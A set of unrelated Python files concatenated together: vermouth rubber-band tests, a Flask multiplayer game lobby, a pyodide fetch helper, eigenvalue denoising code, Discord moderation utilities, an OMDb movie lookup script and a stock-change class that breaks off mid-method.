import functools
import pytest
import numpy as np
import networkx as nx
import vermouth
import vermouth.forcefield
from vermouth import selectors
from vermouth.processors import apply_rubber_band
from vermouth.processors.apply_rubber_band import (same_chain,
                                                   make_same_region_criterion,
                                                   are_connected,
                                                   build_connectivity_matrix)

# pylint: disable=redefined-outer-name

@pytest.fixture
def disconnected_graph():
    """
    A graph with two connected components.
    The node keys are integers from 0 to 15 (included). The name of each node
    is its key as a string. The first component is labelled as chain A while
    the second is labelled as chain B.
    0 - 1 - 2 - 3
                |
    4 - 5 - 6 - 7

     8 -  9 - 10 - 11
     |         |    |
    12 - 13 - 14 - 15
    """
    graph = nx.Graph()
    graph.add_nodes_from(range(16))
    graph.add_edges_from([
        # First connected component
        [0, 1], [1, 2], [2, 3], [3, 7], [4, 5], [5, 6], [6, 7],
        # Second connected component
        [8, 9], [8, 12], [8, 9], [9, 10], [10, 14], [10, 11], [11, 15],
        [12, 13], [13, 14], [14, 15],
    ])
    for key, node in graph.nodes.items():
        node['name'] = str(key)
        if key < 8:
            node['chain'] = 'A'
        else:
            node['chain'] = 'B'
    return graph

@pytest.mark.parametrize('selection', (
    list(range(16)),  # Use all the nodes, explicitly
    list(range(8)),  # Only the first component
    list(range(8, 16)),  # Only the second component
    list(range(0, 16, 2)),  # Every other nodes
))
@pytest.mark.parametrize('extra_edges', ([], [(7, 10)]))
def test_build_pair_matrix(disconnected_graph, selection, extra_edges):
    """
    The creation of a pair matrix works as expected.

    Here, the criterion is ``True`` when nodes belong to the same domain.
    The graph is defined as having two domains: one per chain. The extra edges
    allow to make sure the connectivity does not impact the domain detection.
    """
    def have_same_chain(graph, left, right):
        return graph.nodes[left]['chain'] == graph.nodes[right]['chain']

    expected = np.zeros((16, 16), dtype=bool)
    expected[:8, :8] = True
    expected[8:, 8:] = True
    np.fill_diagonal(expected, False)
    expected = expected[:, selection][selection]

    disconnected_graph.add_edges_from(extra_edges)
    idx_to_node = dict(enumerate(disconnected_graph.nodes))
    domains = apply_rubber_band.build_pair_matrix(
        disconnected_graph, have_same_chain, idx_to_node, selection)
    assert np.all(domains == expected)

@pytest.mark.parametrize('separation, outcome', (
    (1, [[0, 2], [2, 6], [4, 6], [8, 12], [8, 10],
         [10, 14], [12, 14]]),
    (2, [[0, 2], [2, 6], [4, 6], [0, 6], [2, 4],
         [8, 12], [8, 10], [10, 14], [12, 14],
         [8, 14], [10, 12]])
))
# this only tests connectivity matrix in terms of connection
# and separation in residue space. selection is tested at the
# end with a more integral test
def test_build_connectivity_matrix(disconnected_graph, separation, outcome):
    idx_to_node = dict(enumerate(disconnected_graph.nodes))
    selection = list(range(0, 16, 2))
    resid_attr = {0: 1, 1: 1, 2: 2, 3: 2, 4: 3, 5: 3, 6: 4, 7: 4,
                  8: 5, 9: 5, 10: 6, 11: 6, 12: 7, 13: 7, 14: 8, 15: 8}
    nx.set_node_attributes(disconnected_graph, resid_attr, 'resid')
    connected = build_connectivity_matrix(disconnected_graph,
                                          separation,
                                          idx_to_node,
                                          selection)
    pairs = []
    for from_idx, to_idx in zip(*np.triu_indices_from(connected)):
        if connected[from_idx, to_idx]:
            idxs = [selection[from_idx], selection[to_idx]]
            idxs.sort()
            pairs.append(idxs)

    for pair in outcome:
        assert pair in pairs

    assert len(pairs) == len(outcome)

@pytest.mark.parametrize('nodes, edges, outcome', (
    ([1, 2, 3],
     [(1, 2), (2, 3)],
     True),
    ([1, 2, 3],
     [(2, 3)],
     False)
))
def test_are_connected(nodes, edges, outcome):
    graph = nx.Graph()
    graph.add_nodes_from(nodes)
    graph.add_edges_from(edges)
    assert are_connected(graph, 1, 2, 1) == outcome

@pytest.mark.parametrize('nodes, chain, edges, outcome', (
    ([1, 2, 3],
     {1: "A", 2: "A", 3: "C"},
     [(1, 2), (2, 3)],
     True),
    ([1, 2, 3],
     {1: "A", 2: "B", 3: "C"},
     [(1, 2), (2, 3)],
     False)
))
def test_same_chain(nodes, edges, chain, outcome):
    graph = nx.Graph()
    graph.add_nodes_from(nodes)
    graph.add_edges_from(edges)
    nx.set_node_attributes(graph, chain, "chain")
    print (same_chain(graph, 1, 2))
    assert same_chain(graph, 1, 2) == outcome

@pytest.mark.parametrize('regions, left, right, nodes, chain, resid, edges, outcome', (
    ([(2, 3)],
     2,
     3,
     [1, 2, 3, 4],
     {1: "A", 2: "A", 3: "A", 4: "A"},
     {1: 1, 2: 2, 3: 3, 4: 4},
     [(1, 2), (2, 3), (3, 4)],
     True),
    ([(2, 3)],
     1,
     2,
     [1, 2, 3, 4],
     {1: "A", 2: "A", 3: "A", 4: "A"},
     {1: 1, 2: 2, 3: 3, 4: 4},
     [(1, 2), (2, 3), (3, 4)],
     False),
    ([(3, 2)],
     2,
     3,
     [1, 2, 3, 4],
     {1: "A", 2: "A", 3: "A", 4: "A"},
     {1: 1, 2: 2, 3: 3, 4: 4},
     [(1, 2), (2, 3), (3, 4)],
     True),
    ([(2, 3)],
     2,
     3,
     [1, 2, 3, 4],
     {1: "A", 2: "A", 3: "B", 4: "B"},
     {1: 1, 2: 2, 3: 3, 4: 4},
     [(1, 2), (2, 3), (3, 4)],
     True),
    ([(2, 3)],
     1,
     2,
     [1, 2, 3, 4],
     {1: "A", 2: "A", 3: "B", 4: "B"},
     {1: 1, 2: 2, 3: 3, 4: 4},
     [(1, 2), (2, 3), (3, 4)],
     False),
    ([(2, 3)],
     2,
     5,
     [1, 2, 3, 4, 5, 6],
     {1: "A", 2: "A", 3: "A", 4: "B", 5: "B", 6: "B"},
     {1: 1, 2: 2, 3: 3, 4: 1, 5: 2, 6: 3},
     [(1, 2), (2, 3), (3, 4)],
     True),
    ([(2, 3)],
     5,
     6,
     [1, 2, 3, 4, 5, 6],
     {1: "A", 2: "A", 3: "A", 4: "B", 5: "B", 6: "B"},
     {1: 1, 2: 2, 3: 3, 4: 1, 5: 2, 6: 3},
     [(1, 2), (2, 3), (3, 4)],
     True),
    ([(2, 3)],
     2,
     6,
     [1, 2, 3, 4, 5, 6],
     {1: "A", 2: "A", 3: "A", 4: "B", 5: "B", 6: "B"},
     {1: 1, 2: 2, 3: 3, 4: 1, 5: 2, 6: 3},
     [(1, 2), (2, 3), (3, 4)],
     True),
    ([(2, 3)],
     2,
     4,
     [1, 2, 3, 4, 5, 6],
     {1: "A", 2: "A", 3: "A", 4: "B", 5: "B", 6: "B"},
     {1: 1, 2: 2, 3: 3, 4: 1, 5: 2, 6: 3},
     [(1, 2), (2, 3), (3, 4)],
     False),
    ([(3, 3)],
     3,
     3,
     [1, 2, 3, 4, 5, 6],
     {1: "A", 2: "A", 3: "A", 4: "B", 5: "B", 6: "B"},
     {1: 1, 2: 2, 3: 3, 4: 1, 5: 2, 6: 3},
     [(1, 2), (2, 3), (3, 4)],
     True),
    ([(3, 3)],
     3,
     6,
     [1, 2, 3, 4, 5, 6],
     {1: "A", 2: "A", 3: "A", 4: "B", 5: "B", 6: "B"},
     {1: 1, 2: 2, 3: 3, 4: 1, 5: 2, 6: 3},
     [(1, 2), (2, 3), (3, 4)],
     True),
))
def test_make_same_region_criterion(regions, left, right, nodes, edges, chain, resid, outcome):
    graph = nx.Graph()
    graph.add_nodes_from(nodes)
    graph.add_edges_from(edges)
    nx.set_node_attributes(graph, chain, "chain")
    nx.set_node_attributes(graph, resid, "resid")
    same_region = make_same_region_criterion(regions)
    assert same_region(graph=graph, left=left, right=right) == outcome

@pytest.fixture
def test_molecule(scope='function'):
    """
    Molecule with the following connectivity and atom-naming:

    SC2:   2           8
           |           |
    SC1:   1   4       7
           |   |       |
    BB:    0 - 3 - 5 - 6
           -------------
    resid: 1   2   3   4  column wise
    """

    force_field = vermouth.forcefield.ForceField("test")
    molecule = vermouth.molecule.Molecule(force_field=force_field)
    molecule.meta['test'] = True
    # The node keys should not be in a sorted order as it would mask any issue
    # due to the keys being accidentally sorted.
    molecule.add_node(2, atomname='SC2',
                      position=np.array([0., 1.0, 0.0]), resid=1)
    molecule.add_node(0, atomname='BB',
                      position=np.array([0., 0., 0.]), resid=1)
    molecule.add_node(1, atomname='SC1',
                      position=np.array([0., 0.5, 0.0]), resid=1)

    molecule.add_node(3, atomname='BB', position=np.array(
        [0.5, 0.0, 0.0]), resid=2)
    molecule.add_node(4, atomname='SC1', position=np.array(
        [0.5, 0.5, 0.0]), resid=2)

    molecule.add_node(5, atomname='BB', position=np.array(
        [1.0, 0.0, 0.0]), resid=3)

    molecule.add_node(6, atomname='BB', position=np.array(
        [1.5, 0.0, 0.0]), resid=4)
    molecule.add_node(7, atomname='SC1', position=np.array(
        [1.5, 0.5, 0.0]), resid=4)
    molecule.add_node(8, atomname='SC2', position=np.array(
        [1.5, 1.0, 0.0]), resid=4)

    molecule.add_edge(0, 1)
    molecule.add_edge(0, 2)
    molecule.add_edge(0, 3)
    molecule.add_edge(3, 4)
    molecule.add_edge(3, 5)
    molecule.add_edge(5, 6)
    molecule.add_edge(6, 7)
    molecule.add_edge(7, 8)

    return molecule

@pytest.mark.parametrize('chain_attribute, atom_names, res_min_dist, outcome',
                         (({0: 'A', 1: 'A', 2: 'A',
                            3: 'A', 4: 'A', 5: 'A',
                            6: 'A', 7: 'A', 8: 'A'},
                           ['BB'],
                           2,
                           [vermouth.molecule.Interaction(
                               atoms=(0, 6),
                               meta={'group': 'Rubber band'},
                               parameters=[6, 1.5, 1000])]
                           ),
                          # different min_res
                          ({0: 'A', 1: 'A', 2: 'A',
                            3: 'A', 4: 'A', 5: 'A',
                            6: 'A', 7: 'A', 8: 'A'},
                           ['BB'],
                           1,
                           [vermouth.molecule.Interaction(
                               atoms=(0, 5),
                               meta={'group': 'Rubber band'},
                               parameters=[6, 1.0, 1000]),
                            vermouth.molecule.Interaction(
                                atoms=(0, 6),
                                meta={'group': 'Rubber band'},
                                parameters=[6, 1.5, 1000]),
                            vermouth.molecule.Interaction(
                                atoms=(3, 6),
                                meta={'group': 'Rubber band'},
                                parameters=[6, 1.0, 1000])]
                           ),
                          # select more than only BB atoms
                          ({0: 'A', 1: 'A', 2: 'A',
                            3: 'A', 4: 'A', 5: 'A',
                            6: 'A', 7: 'A', 8: 'A'},
                           ['BB', 'SC1'],
                           2,
                           [vermouth.molecule.Interaction(
                               atoms=(0, 6),
                               meta={'group': 'Rubber band'},
                               parameters=[6, 1.5, 1000]),
                            vermouth.molecule.Interaction(
                                atoms=(0, 7),
                                meta={'group': 'Rubber band'},
                                parameters=[6, 1.58114, 1000]),
                            vermouth.molecule.Interaction(
                                atoms=(1, 6),
                                meta={'group': 'Rubber band'},
                                parameters=[6, 1.58114, 1000]),
                            vermouth.molecule.Interaction(
                                atoms=(1, 7),
                                meta={'group': 'Rubber band'},
                                parameters=[6, 1.5, 1000])]
                           ),
                          # change chain identifier
                          ({0: 'A', 1: 'A', 2: 'A',
                            3: 'B', 4: 'B', 5: 'B',
                            6: 'B', 7: 'B', 8: 'B'},
                           ['BB'],
                           1,
                           [vermouth.molecule.Interaction(
                               atoms=(3, 6),
                               meta={'group': 'Rubber band'},
                               parameters=[6, 1.0, 1000])]
                           )))
def test_apply_rubber_bands(test_molecule, chain_attribute, atom_names, res_min_dist, outcome):
    """
    Takes molecule and sets the chain attributes. Based on chain, minimum distance
    between residues, and atom names elagible it is tested if rubber bands are applied
    for the correct atoms in molecule.
    """
    selector = functools.partial(
        selectors.proto_select_attribute_in,
        attribute='atomname',
        values=atom_names)

    domain_criterion = vermouth.processors.apply_rubber_band.same_chain
    nx.set_node_attributes(test_molecule, chain_attribute, 'chain')

    process = vermouth.processors.apply_rubber_band.ApplyRubberBand(
        selector=selector,
        lower_bound=0.0,
        upper_bound=10.,
        decay_factor=0,
        decay_power=0.,
        base_constant=1000,
        minimum_force=1,
        bond_type=6,
        domain_criterion=domain_criterion,
        res_min_dist=res_min_dist)
    process.run_molecule(test_molecule)
    assert test_molecule.interactions['bonds'] == outcome

@pytest.mark.parametrize('regions, chain_attribute, atom_names, res_min_dist, outcome',
                         (([(1, 4)],
                           {0: 'A', 1: 'A', 2: 'A',
                            3: 'A', 4: 'A', 5: 'A',
                            6: 'A', 7: 'A', 8: 'A'},
                           ['BB'],
                           2,
                           [vermouth.molecule.Interaction(
                               atoms=(0, 6),
                               meta={'group': 'Rubber band'},
                               parameters=[6, 1.5, 1000])]
                           ),
                          # different min_res and different regions
                          ([(1, 3)],
                           {0: 'A', 1: 'A', 2: 'A',
                            3: 'A', 4: 'A', 5: 'A',
                            6: 'A', 7: 'A', 8: 'A'},
                           ['BB'],
                           1,
                           [vermouth.molecule.Interaction(
                               atoms=(0, 5),
                               meta={'group': 'Rubber band'},
                               parameters=[6, 1.0, 1000])]
                           ),
                          # select more than only BB atoms
                          ([(1, 3)],
                           {0: 'A', 1: 'A', 2: 'A',
                            3: 'A', 4: 'A', 5: 'A',
                            6: 'A', 7: 'A', 8: 'A'},
                           ['BB', 'SC1'],
                           2,
                           []
                           ),
                          # change chain identifier
                          ([(1, 3)],
                           {0: 'A', 1: 'A', 2: 'A',
                            3: 'B', 4: 'B', 5: 'B',
                            6: 'B', 7: 'B', 8: 'B'},
                           ['BB'],
                           1,
                           [vermouth.molecule.Interaction(
                               atoms=(0, 5),
                               meta={'group': 'Rubber band'},
                               parameters=[6, 1.0, 1000])]
                           )))
def test_apply_rubber_bands_same_regions(test_molecule, regions, chain_attribute, atom_names, res_min_dist, outcome):
    """
    Takes molecule and sets the chain attributes. Based on chain, minimum distance
    between residues, and atom names elagible it is tested if rubber bands are applied
    for the correct atoms in molecule.
    """
    selector = functools.partial(
        selectors.proto_select_attribute_in,
        attribute='atomname',
        values=atom_names)

    domain_criterion = vermouth.processors.apply_rubber_band.make_same_region_criterion(regions)
    nx.set_node_attributes(test_molecule, chain_attribute, 'chain')

    process = vermouth.processors.apply_rubber_band.ApplyRubberBand(
        selector=selector,
        lower_bound=0.0,
        upper_bound=10.,
        decay_factor=0,
        decay_power=0.,
        base_constant=1000,
        minimum_force=1,
        bond_type=6,
        domain_criterion=domain_criterion,
        res_min_dist=res_min_dist)
    process.run_molecule(test_molecule)
    assert test_molecule.interactions['bonds'] == outcome

def test_skip_no_matches(test_molecule):
    """
    Tests that when no node matches the EN selectors, the molecule is simply skipped.
    """
    selector = functools.partial(
        selectors.proto_select_attribute_in,
        attribute='matches_none',
        values=['BB', 'SC1'])

    domain_criterion = vermouth.processors.apply_rubber_band.always_true

    process = vermouth.processors.apply_rubber_band.ApplyRubberBand(
        selector=selector,
        lower_bound=0.0,
        upper_bound=10.,
        decay_factor=0,
        decay_power=0.,
        base_constant=1000,
        minimum_force=1,
        bond_type=6,
        domain_criterion=domain_criterion,
        res_min_dist=3)
    process.run_molecule(test_molecule)
    assert test_molecule.interactions['bonds'] == []

def test_bail_out_on_nan(caplog, test_molecule):
    """
    Test the the EN processor bails out when nan coordinate
    is found.
    """
    test_molecule.nodes[0]['position'] = np.array([np.nan, np.nan, np.nan])
    test_molecule.moltype = "testmol"
    selector = functools.partial(
        selectors.proto_select_attribute_in,
        attribute='atomname',
        values=['BB'])

    domain_criterion = vermouth.processors.apply_rubber_band.always_true

    process = vermouth.processors.apply_rubber_band.ApplyRubberBand(
        selector=selector,
        lower_bound=0.0,
        upper_bound=10.,
        decay_factor=0,
        decay_power=0.,
        base_constant=1000,
        minimum_force=1,
        bond_type=6,
        domain_criterion=domain_criterion,
        res_min_dist=3)
    process.run_molecule(test_molecule)

    required_warning = ("Found nan coordinates in molecule testmol. "
                        "Will not generate an EN for it. ")
    record = caplog.records[0]
    assert record.getMessage() == required_warning
    assert len(caplog.records) == 1
    assert test_molecule.interactions['bonds'] == []


from flask import Flask, render_template, url_for, session, request, redirect, flash
from flask_socketio import SocketIO
from flask_sqlalchemy import SQLAlchemy
import csv #for db
from io import StringIO
from the_resistance.config import Config
from the_resistance.deploy import is_deploy
from random import randint
import json as j
import re

app = Flask(__name__)
app.config.from_object(Config)
socketio = SocketIO(app)

db = SQLAlchemy(app)

class players(db.Model):
    id = db.Column("id", db.Integer, primary_key=True)
    gameCode = db.Column("gameCode", db.String(10),unique=True)
    playerList = db.Column("playerList", db.String(255),unique=False)
    isPlaying = db.Column("isPlaying", db.String(1),unique=False)
    board = db.Column("board", db.LargeBinary, unique=False)

    def __init__(self, gameCode, playerList, isPlaying):
        self.gameCode = gameCode
        self.playerList = playerList
        self.isPlaying = isPlaying

    def get_id(self):
        return (self._id)

    def get_list(self): # will return a list to pass through websocket
        pJson = j.loads(self.playerList)
        return pJson['playerList']

    def appendList(self, name):
        pJson = j.loads(self.playerList)
        pJson['playerList'].append(name)
        self.playerList = j.dumps(pJson)
        db.session.commit()

    def removePlayer(self, name):
        pJson = j.loads(self.playerList)
        pJson['playerList'].remove(name)
        self.playerList = j.dumps(pJson)
        db.session.commit()

import the_resistance.events

#-------- To make sure name is 'clean' before passing through---------
def checkRe(name):
    reg = re.compile(r'[^a-zA-Z0-9.]')
    return not bool(reg.search(name))
#-----------------------------------------------------------------------

@app.route('/home', methods=['GET', 'POST'])
@app.route('/', methods=['GET', 'POST'])
def home():

    if request.method == "POST":

        code, name = request.form['code'].strip(' '), request.form['uname'].strip(' ')

        found_room = players.query.filter_by(gameCode=code).first()

        if(found_room) and found_room.isPlaying == 'n': #found waiting room succesfully and name is clean

            if len(found_room.get_list()) < 10: #check for lobby capacity, has to be one less as current player has not joined yet
                print("\n\n", len(found_room.get_list()))
                if checkRe(name):
                    if name not in found_room.get_list(): #unique player
                        session['room'] = code
                        session['name'] = name
                        return redirect(url_for('lobby'))
                    else:
                        flash("Whoops! that name is already taken!")
                        return redirect(url_for('home'))
                else:
                    flash("Whoops! your name can only have letters and numbers!")

            else:
                flash("Lobby is full!")
        else:
            flash("This room is not accepting players!")
            return redirect(url_for('home'))

    return render_template('home.html')

@app.route('/lobby')
def lobby():

    if session.get('room') and players.query.filter_by(gameCode=session['room']).first():   #authenticate user trying to acess /lobby

        found_room = players.query.filter_by(gameCode=session['room']).first()
        if found_room.isPlaying == 'y': #in the case a user in a game presses the back button
            return redirect(url_for('play'))

        print('name:    ' + session['name'])
        room = session['room']
        return  render_template('lobby.html', roomID=room, name=session['name'])

    else:
        return redirect(url_for('home'))

@app.route('/play')
def play():

    if session.get('room') and players.query.filter_by(gameCode=session['room']).first():   #authenticate user trying to acess /lobby

        found_room = players.query.filter_by(gameCode=session['room']).first()
        if found_room.isPlaying == 'n':    #in the case a user is not in a game
            return redirect(url_for('lobby'))

        print('name:    ' + session['name'])
        plist = players.query.filter_by(gameCode=session['room']).first().get_list()
        players.query.filter_by(gameCode=session['room']).first().isPlaying = 'y'
        db.session.commit()

        plst = []
        idx = plist.index(session['name'])
        for i in range(len(plist)): #to rearrange elemnts in list to make unique for players
            plst.append(plist[idx])
            idx -= 1

        jData = {'players':plst} #serialize data
        print(jData)
        return render_template('play.html', roomID=session['room'], name=session['name'], jData=jData)

    else:
        return redirect(url_for('home'))

@app.route('/getstarted', methods=['GET', 'POST'])
def getstarted():

    if request.method == 'POST':
        if checkRe(request.form['name'].strip(' ')):
            name = request.form['name']
            session['name'] = name
            usedRooms = []
            for player in players.query.all():
                usedRooms.append(player.gameCode)

            rand = randint(100000,999999)
            while rand in usedRooms:
                rand = randint(100000,999999)

            session['room'] = str(rand)

            pData = j.dumps({'playerList':[session['name']]})
            player = players(gameCode=session['room'], playerList= pData, isPlaying='n')
            db.session.add(player)
            db.session.commit()
            return redirect(url_for('lobby'))

        else:
            flash("Whoops! your name can only have letters and numbers!")

    return render_template("getstarted.html", values=players.query.all())

@app.route('/view', methods=['GET', 'POST']) #for testing purposes
def view():
    if request.method == 'POST':
        code = request.form['code']
        pl = request.form['pl']
        player = players(gameCode=code, playerList=pl)
        db.session.add(player)
        db.session.commit()

    return render_template("view.html", values=players.query.all())

if __name__ == '__main__':
    if not is_deploy:
        db.create_all()
    socketio.run(app, debug=True, host='0.0.0.0')


from pyodide.http import pyfetch, FetchResponse
from typing import Optional, Any

async def request(url: str, method: str = "GET", body: Optional[str] = None,
                  headers: Optional[dict[str, str]] = None, **fetch_kwargs: Any) -> FetchResponse:
    """
    Async request function. Pass in Method and make sure to await!
    Parameters:
        url: str = URL to make request to
        method: str = {"GET", "POST", "PUT", "DELETE"} from `JavaScript` global fetch())
        body: str = body as json string. Example, body=json.dumps(my_dict)
        headers: dict[str, str] = header as dict, will be converted to string...
            Example, headers=json.dumps({"Content-Type": "application/json"})
        fetch_kwargs: Any = any other keyword arguments to pass to `pyfetch` (will be passed to `fetch`)
    Return:
        response: pyodide.http.FetchResponse = use with .status or await.json(), etc.
    """
    kwargs = {"method": method, "mode": "cors"}  # CORS: https://en.wikipedia.org/wiki/Cross-origin_resource_sharing
    if body and method not in ["GET", "HEAD"]:
        kwargs["body"] = body
    if headers:
        kwargs["headers"] = headers
    kwargs.update(fetch_kwargs)

    response = await pyfetch(url, **kwargs)
    return response


#!/usr/bin/env python

import sys, unittest, os

basepath = os.path.dirname(os.path.realpath(__file__))
while not os.path.isfile(os.path.join(basepath,'common','monoTestCase.py')):
    basepath = os.path.dirname(basepath)
if not basepath in sys.path:
    sys.path.append(basepath)

import common.monotesting as mono
from smoketests.smokeTestCase import smokeTestCase
from common.helpers import executeCmd

class verifyZenityFocusHackIsInPlace(smokeTestCase):
    testcaseid = -1

    def test(self):
        # This tests that the hack fix is in place for bug 528048
        numFound = self.howManyTimesDoesFileContainThisLine("/usr/share/zenity/zenity.glade", "<property name=\"focus_on_map\">True</property>")
        self.assertEqual(numFound, 11, "There was only %d focus_on_map lines turned on" % numFound)

if __name__ == "__main__":
    mono.monotesting_main()

# vim:ts=4:expandtab:


import logging

import numpy as np
import pandas as pd
from sklearn.neighbors.kde import KernelDensity
from scipy.optimize import minimize

from src.utils import cov2corr

class MarcenkoPastur:
    def __init__(self, points=1000):
        """
        Marcenko-Pastur

        :param points:
        :type points: int
        :return:The Marcenko-Pastur probability density function
        :rtype: pd.Series
        """
        self.points = points
        self.eigen_max = None

    def pdf(self, var, q):
        """
        :param var: The variance
        :type var: float
        :param q: N/T number of observations on the number of dates
        :type q: float
        :return:
        :rtype:
        """
        if isinstance(var, np.ndarray):
            var = var.item()
        eigen_min = var * (1 - (1. / q) ** .5) ** 2
        eigen_max = var * (1 + (1. / q) ** .5) ** 2
        eigen_values = np.linspace(eigen_min,
                                   eigen_max,
                                   self.points)
        pdf = q / (2 * np.pi * var * eigen_values) * (
                (eigen_max - eigen_values) * (
                eigen_values - eigen_min)) ** .5
        pdf = pd.Series(pdf, index=eigen_values)
        return pdf

    def err_pdfs(self, var, eigenvalues, q, bandwidth):
        pdf0 = self.pdf(var, q)
        pdf1 = fit_kde(
            eigenvalues, bandwidth,
            x=pdf0.index.values.reshape(-1, 1)
        )
        sse = np.sum((pdf1 - pdf0) ** 2)
        return sse

    def fit(self, eigenvalues, q, bandwidth):
        func = lambda *x: self.err_pdfs(*x)
        x0 = 0.5
        out = minimize(func, x0,
                       args=(eigenvalues, q, bandwidth),
                       bounds=((1E-5, 1 - 1E-5),))

        if out['success']:
            var = out['x'][0]
        else:
            var = 1
        eigen_max = var * (1 + (1. / q) ** 0.5) ** 2
        self.eigen_max = eigen_max
        return eigen_max, var

    def facts_number(self, eigenvalues):
        if self.eigen_max is not None:
            return eigenvalues.shape[0] - \
                   np.diag(eigenvalues)[::-1].searchsorted(self.eigen_max)
        else:
            raise ValueError(f"Eigen max is not calculated. Please "
                             f"run the fit method before calculating the "
                             f"facts number")

    def _denoise_constant_residual(self, eigenvalues, eigenvectors):
        facts_number = self.facts_number(eigenvalues)
        eigenvalues_ = eigenvalues.diagonal().copy()
        # Denoising by making constant the eigen values past facts_number
        eigenvalues_[facts_number:] = eigenvalues_[
                                      facts_number:].sum() / float(
            eigenvalues_.shape[0] - facts_number)
        eigenvalues_ = np.diag(eigenvalues_)
        cov = eigenvectors @ eigenvalues_ @ eigenvectors.T
        # Rescaling
        return cov2corr(cov)

    def _denoise_shrink(self, eigenvalues, eigenvectors, alpha=0):

        # Eigenvalues and eigenvectors corresponding
        # to the eigenvalues less than the max value
        facts_number = self.facts_number(eigenvalues)

        eigenvalues_l = eigenvalues[:facts_number, :facts_number]
        eigenvectors_l = eigenvectors[:, :facts_number]

        # Eigenvalues and eigenvectors corresponding
        # to the eigenvalues more than the max value

        eigenvalues_r = eigenvalues[facts_number:, facts_number:]
        eigenvectors_r = eigenvectors[:, facts_number:]

        corr_l = eigenvectors_l @ eigenvalues_l @ eigenvectors_l.T
        corr_r = eigenvectors_r @ eigenvalues_r @ eigenvectors_r.T

        return corr_l + alpha * corr_r + (1 - alpha) * np.diag(
            corr_r.diagonal())

    def denoise(self, eigenvalues, eigenvectors, method="constant", alpha=0):
        """
        Remove noise from corr by fixing random eigenvalues
        :param eigenvalues:
        :type eigenvalues:
        :param eigenvectors:
        :type eigenvectors:
        :param method:
        :type method: str
        :param alpha:
        :type alpha:
        :return:
        :rtype:
        """
        if method == "constant":
            return self._denoise_constant_residual(eigenvalues, eigenvectors)
        elif method == "shrink":
            return self._denoise_shrink(eigenvalues, eigenvectors, alpha=alpha)
        else:
            raise ValueError(f"The only available denoising methods are "
                             f"'constant' or 'shrink'. The method provided is "
                             f"{method}")

    def detone(self, eigenvalues, eigenvectors):
        # Test if the correlation matrix has a market component
        eigenvalues_m = eigenvalues[0, 0]
        eigenvectors_m = eigenvectors[:, 0]

        cov = (eigenvectors @ eigenvalues @ eigenvectors.T) - \
              (eigenvectors_m @ eigenvalues_m @ eigenvectors_m.T)

        return cov2corr(cov)

def get_pca(matrix):
    """
    Function to retrieve the eigenvalues and eigenvector from a Hermitian
    matrix
    :param matrix: Hermitian matrix
    :type matrix: np.matrix or np.ndarray
    :return:
    :rtype:
    """
    eigenvalues, eigenvectors = np.linalg.eigh(matrix)
    indices = eigenvalues.argsort()[::-1]
    eigenvalues, eigenvectors = eigenvalues[indices], eigenvectors[:, indices]
    eigenvalues = np.diagflat(eigenvalues)
    return eigenvalues, eigenvectors

def fit_kde(obs, bandwidth=0.25, kernel='gaussian', x=None):
    """
    Fit kernel to a series of observations and derive the probability of obs
    :param obs:
    :type obs:
    :param bandwidth:
    :type bandwidth:
    :param kernel:
    :type kernel:
    :param x: The array of values on which the fit KDE will be evaluated
    :type x: array like
    :return:
    :rtype:
    """
    if len(obs.shape) == 1:
        obs = obs.reshape(-1, 1)
    kde = KernelDensity(kernel=kernel, bandwidth=bandwidth).fit(obs)
    if x is None:
        x = np.unique(obs).reshape(-1, 1)
    log_prob = kde.score_samples(x)
    pdf = pd.Series(np.exp(log_prob), index=x.flatten())
    return pdf


from typing import Literal, Optional, Tuple, Union

import discord

MessageDaysT = Literal[0, 1, 2, 3, 4, 5, 6, 7]

def parse_delete_message_days(
    args: str,
) -> Tuple[str, Union[MessageDaysT, int]]:
    """
    A method to parse `delete_message_days` from 'reason' parameter in 'Ban' and 'Softban' commands.
    """
    parse_args = [v for v in args.split(" ")]
    days = parse_args[-1]
    reason = " ".join(v for v in parse_args[:-1])

    if days.startswith("--"):
        days = days.strip("--").strip(".")
        if days.isdigit():
            days = int(days)
            if days > 7:
                days = 7
            if not reason:
                reason = None
            return reason, days

    return args, 0

def get_audit_reason(moderator: discord.Member, reason: Optional[str] = None) -> str:
    """
    Returns a string representation of action reason for audit logs.
    """
    ret = f"Moderator: {moderator}\n"
    if reason:
        ret += f"Reason: {reason}"
    return ret


import re, sys, urllib.request

def clean_movie_title(title):
    title = title.lower().strip()
    title = re.sub(r"\.avi", "", title)
    title = re.sub(r"[.\[\]\(\)-]" ," ", title)
    title = re.sub(r"([0-9]{4}).*" ,r",\1", title)
    title = title.replace("  "," ").replace(" ,",",")
    return title.capitalize()
with open("films.txt") as file:
    films = file.readlines()
films_cleaned = [clean_movie_title(title) for title in films]
container, rest = [], []
url = "http://www.omdbapi.com/?t=%s&apikey=******"

while films_cleaned:
    film = films_cleaned.pop()
    print(film)
    film_year = film.split(",")
    film_query= film_year[0].replace(" ","+")
    year = film_year[-1] if len(film_year) > 1 else None
    film = film_query + "&y=%s" % year if year else film_query
    film = re.sub(r"(?:dvd|xvid).*" ,r"", film)
    import ipdb ; ipdb.set_trace()
    try:
        resp = urllib.request.urlopen(url % film)
        data = json.loads(resp.read())
    except Exception as e:
        print(e)
        rest.append(film)
        continue
    if "Error" not in data:
        container.append((film,data))
    else:
        rest.append(film)

for film,data in container:
    display_values = [film, data["Title"], data["imdbRating"],
                      data["Genre"],
                      "http://www.imdb.com/title/%s" % data["imdbID"],
                      data["Year"], data["Actors"],
                      data["Plot"], data["Country"]
                     ]
    print("\t".join(display_values))


from datetime import datetime
from collections import defaultdict

class StockValue:
    def __init__(self, company_abbr, value, timestamp):
        self.company_abbr = company_abbr
        self.value = value
        self.timestamp = timestamp

class StockExchange:
    """
    This is the core functionality, calculating an ordered list of stock change since last day
    """
    def __init__(self, stock_values):
        self.stock_values = stock_values
        stock_histories = list()
        for company_abbr in self.company_list:
            stock_values_for_company = [
                item for item in self.stock_values if item.company_abbr == company_abbr
            ]
            stock_history = StockHistory(stock_values_for_company)
            stock_histories.append(stock_history)
        self.stock_histories = stock_histories

    @property
    def company_list(self):
        return list(set(item.company_abbr for item in self.stock_values))

    def get_daily_winners(self):
        stock_motions = \
            [stock_history.get_latest_motion() for stock_history in self.stock_histories]
        stock_motions.sort(key=lambda x: x.change_in_percent, reverse=True)

        return stock_motions[:3]

class StockHistory:
    """
    A stock history for a specific company
    """
    def __init__(self, stock_values):
        self.stock_values = stock_values
        # Validate there are stock values for today and yesterday

    def _get_latest_value_for_each_day(self):
        stock_values_by_day = defaultdict(lambda: list())
        for item in self.stock_values:
            stock_values_by_day[datetime.strftime(item.timestamp, "%y%m%d")].append(item)

        latest_value_by_day = dict()
